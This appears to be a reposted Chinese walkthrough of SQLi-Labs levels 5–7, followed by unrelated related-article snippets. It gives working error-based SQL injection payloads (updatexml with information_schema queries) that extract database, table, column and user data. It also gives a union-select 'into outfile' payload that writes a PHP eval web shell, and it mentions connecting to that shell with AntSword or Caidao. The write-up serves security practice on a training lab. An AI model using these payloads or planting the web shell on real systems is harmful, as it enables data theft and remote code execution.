SQLI-Labs通关(2)5-7关

news2024/11/16 21:33:59

跟之前一样首先传参,然后查看注入点以及闭合

 

用and 1=1

 

and 1=2都没问题,接下来测试单引号

 

 

利用' and 1=2的时候会报错

利用order by来判断列数

 

得出一共三列

接下来就是联合查询

 

但是这个并不会回显

那么就利用盲注或者报错注入

在这里我们利用报错来测试,也可以利用盲注但是报错更方便,在大多数我们无法看到显错位的时候都可以利用报错来尝试

 

payload:' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

那么接下来我们只需要根据之前关卡的语句来得到我们想要的数据就好了

 

payload: ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1 )--+

 

 

 

一共得到了四张表,那么很明显我们想到得到的重要数据在第四张表中,接下来查看第四张表的内容

接下来就是查看user中的列名

payload:' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1 )--+

 

 

 

 

 

 

 

 

以上就是user表中的列,这里只列了一部分一般知道用户名和密码就差不多了

接下来就是查具体的数据

 

payload: ' and updatexml(1,concat(0x7e,(select id from users limit 0,1),0x7e),1 )--+

这里就查了一个原理都一样。

第六关跟后面的又只是这个的变形,第六关是双引号

 

后面的payload又是一样的了。

第七关有一个提示是outfile

那么就考虑到读写文件

在这里就需要补充一些知识点了

写文件函数:into dumpfile   into outfile

读取文件:load_file()

使用文件读写来进行SQL注入有一个前提就是secure file priv后面的值不为空

secure_file_priv为空表示可以读取任意路径文件

secure_file_priv=null表示不允许读取文件

secure_file_priv="D:/phpstudy/www"表示www目录下文件具有读写权限

union select 1,'<?php eval($_REQUEST[8])?> ',3 into outfile 'c:/phpstudy/www/1.php'

这句话的意思就是把union select查询出来的内容全部都导出来,就是1,'<?php eval($_REQUEST[8])?> ',3

导到后面的文件中

 那么接下来开始猜解字段

利用') )and 1=1--+判断出来需要用两个括号来闭合【这里也是我刚刚才参透的就是当你用不同的符号尝试闭合是and 1=1是正常情况下and 1=2是报错证明闭合正确了】闭合一直不正确是and 1=1提示错误证明你没闭合了。

 

利用order by猜出来有三列

payload:

1') ) union select 1,"<?php @eval($_REQUEST[8]);?>",3 into outfile 'D:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\fcc.php'--+【这里如果页面报错也没关系,我们到路径里找一下文件是否创建成功,这里要注意一个"\"被转义的问题】

成功写入文件。

 

 

在这里也可以直接传参,查找我们想知道的数据。

也可以利用蚁剑或者菜刀连接

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/390782.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue3的生命周期函数

文章目录&#x1f31f; 写在前面&#x1f31f; 生命周期钩子函数&#x1f31f; 组合式API生命周期&#x1f31f; 写在最后&#x1f31f; 写在前面 专栏介绍&#xff1a; 凉哥作为 Vue 的忠实 粉丝输出过大量的 Vue 文章&#xff0c;应粉丝要求开始更新 Vue3 的相关技术文章&am…

OPPO 数据恢复:如何从 OPPO 手机恢复已删除的文件?

Oppo 手机以其精美的外观和拍摄的精美照片和视频而闻名。如果您不小心丢失了 OPPO 手机中珍贵的照片、视频等重要文件&#xff0c;并且为如何找回而苦恼&#xff0c;那么您来对地方了。我们其实有很多OPPO数据恢复方案&#xff0c;现在最重要的是尽快尝试这些方法&#xff0c;防…

Git 相关内容

目录 Git 相关流程和常用命令 Git workflow Git hooks Git 相关流程和常用命令 Git远程操作详解 - 阮一峰的网络日志 Git 使用规范流程 - 阮一峰的网络日志 常用 Git 命令清单 - 阮一峰的网络日志 Git workflow 啥玩意&#xff1a; 就是一个工作流程。可以比喻成一个河流…

用逻辑回归制作评分卡

目录 一.评分卡 二.导库&#xff0c;获取数据 三.探索数据与数据预处理 1.去除重复值 2.填补缺失值 3.描述性统计处理异常值 4.为什么不统一量纲&#xff0c;也不标准化数据分布 5.样本不均衡问题 6.分训练集和测试集 三.分箱 1.分多少个箱子才合适 2.分箱要达成什么…

Antlr4: 为parser rule添加label

1. parser rule中的label 1.1 简介 Antrl4语法文件Calculator.g4&#xff0c;stat和expr两个parser rule含有多个rule element&#xff0c;我们这两个parse rule的每个rule element添加了Alternative labels&#xff08;简称label&#xff09; 按照Antlr4的语法规则&#xff…

2022年显卡性能跑分排名表

2022年显卡性能跑分排名表&#xff08;数据来源于快科技&#xff09;这个版本的电脑显卡跑分榜第一的是NVIDIA GeForce RTX 3090 Ti显卡。由于显卡跑分受不同的测试环境、不同的显卡驱动版本以及不同散热设计而有所不同&#xff0c;所以显卡跑分会一直变化。 前二十名的台式电…

Linux(进程概念详解)

进程是如今编程领域非常重要的一个概念&#xff0c;进程是比较抽象的&#xff0c;不容易直接理解。因为进程与操作系统息息相关&#xff0c;因此在介绍进程之前&#xff0c;笔者打算先简易讲一下操作系统的工作流程&#xff0c;理解操作系统是如何管理软件和硬件的&#xff0c;…

垃圾收集器和内存分配(第五章)

《实战Java虚拟机&#xff1a;JVM故障诊断与性能优化 (第2版)》 Java 平台&#xff0c;标准版热点虚拟机垃圾回收调优指南 垃圾收集器虽然看起来数量比较多&#xff0c;但其实总体逻辑都是因为硬件环境的升级而演化出来的产品&#xff0c;不同垃圾收集器的产生总体可以划分为几…

智能优化算法应用:基于蚁狮优化算法的工程优化案例-附代码

智能优化算法应用&#xff1a;基于蚁狮算法的工程优化案例 文章目录智能优化算法应用&#xff1a;基于蚁狮算法的工程优化案例1.蚁狮算法2.压力容器设计问题3.三杆桁架设计问题4.拉压弹簧设计问题5.Matlab代码6.python代码摘要&#xff1a;本文介绍利用蚁狮搜索算法&#xff0c…

191、【动态规划】AcWing —— 900. 整数划分:完全背包解法+加减1解法(C++版本)

题目描述 参考文章&#xff1a;900. 整数划分 解题思路 因为本题中规定了数字从大到小&#xff0c;其实也就是不论是1 2 1 4&#xff0c;还是2 1 1 4&#xff0c;都会被看作是2 1 1 4这一种情况&#xff0c;因此本题是在遍历中不考虑结果顺序。 背包问题中只需考虑…

AcWing:并查集

并查集理论基础并查集的作用是什么&#xff1a;将两个集合合并。询问两个元素是否在一个集合当中。如果不使用并查集&#xff0c;要完成上述两个操作&#xff0c;我们需要&#xff1a;创建一个数组来表示某个元素在某个集合之中&#xff0c;如belong[x] a&#xff0c;即x元素在…

0201基础-组件-React

1 组件和模块 1.1 模块 对外提供特定功能的js程序&#xff0c;一般就是一个js文件 为什么拆分模块呢&#xff1f;随着业务逻辑增加&#xff0c;代码越来越多&#xff0c;越来越复杂。作用&#xff1a;复用js&#xff0c;简化js&#xff0c;提高js运行效率 1.2 模块化 当应用…

用gdb.attach()在gdb下断点但没停下的情况及解决办法

在python中&#xff0c;如果导入了pwntools&#xff0c;就可以使用里面的gdb.attach(io)的命令来下断点。 但是这一次鼠鼠遇到了一个情况就是下了断点&#xff0c;但是仍然无法在断点处开始运行&#xff0c;奇奇怪怪。 这是我的攻击脚本 我们运行一下。 可以看到其实已经运行起…

计算机网络模型、协议

ARP&#xff08;IP->MAC&#xff09;RARP&#xff08;MAC->IP&#xff09;TFTPHTTPDHCPNATARP&#xff08;IP->MAC&#xff09; 主机建立自己的ARP缓冲区存ARP列表 广播ARP请求&#xff0c;单播ARP响应 RARP&#xff08;MAC->IP&#xff09; 用于无盘工作站&am…

Java分布式全局ID(一)

随着互联网的不断发展&#xff0c;互联网企业的业务在飞速变化&#xff0c;推动着系统架构也在不断地发生变化。 如今微服务技术越来越成熟&#xff0c;很多企业都采用微服务架构来支撑内部及对外的业务&#xff0c;尤其是在高 并发大流量的电商业务场景下&#xff0c;微服务…

[1.#]第一章 计算机系统概述——知识回顾

第一章 计算机系统概述 知识回顾 &#xff08;对于考研408而言&#xff09; 这个章节主要以选择题形式考察。 总的来说&#xff0c;这个章节考察的深度、难度不会太大。另外&#xff0c;这个章节的分值占比是比较低的。 不过&#xff0c;对第一章的学习&#xff0c;有助于我们…

使用 Sublime Text 4 优雅地写C++

使用 Sublime Text 4 优雅地写C 进入sublime官网下载sublime的安装包&#xff08;当然也可以在官网下载页面下载portable版本&#xff0c;不过建议下载默认的setup版本&#xff09; 双击安装包&#xff1a; 应该一会就下载完成了。 此时可以在应用列表看到sublime&#xff1a;…

谈谈 爬虫遇到的 Access denied Error code 1020

这几天在练习爬虫的时候&#xff0c;遇到一个问题&#xff0c; 通过 python 代码从站点中拿到了目标图片的 url &#xff0c; 但是&#xff0c;在持久化到本地时&#xff0c;出现了错误&#xff0c;所有保存下来的图片都报错&#xff1a;文件损坏&#xff0c; 而且&#xff0c;…

【博学谷学习记录】超强总结,用心分享|狂野大数据课程【DataFrame的相关API】的总结分析

操作dataFrame一般有二种操作的方式, 一种为SQL方式, 另一种为DSL方式 SQL方式: 通过编写SQL语句完成统计分析操作DSL方式: 领域特定语言 指的通过DF的特有API完成计算操作(通过代码形式)从使用角度来说: SQL可能更加的方便一些, 当适应了DSL写法后, 你会发现DSL要比SQL更加…

LeetCode:最长回文子串(动态规划)

一、题目 https://leetcode.cn/problems/longest-palindromic-substring/description/ 二、 算法思想 使用动态规划思想解决&#xff0c;如果一个子串是回文的&#xff0c;并且它的左右两边各加上一个字符后仍然是回文的&#xff0c;那么这个子串加上这两个字符后也一定是回文…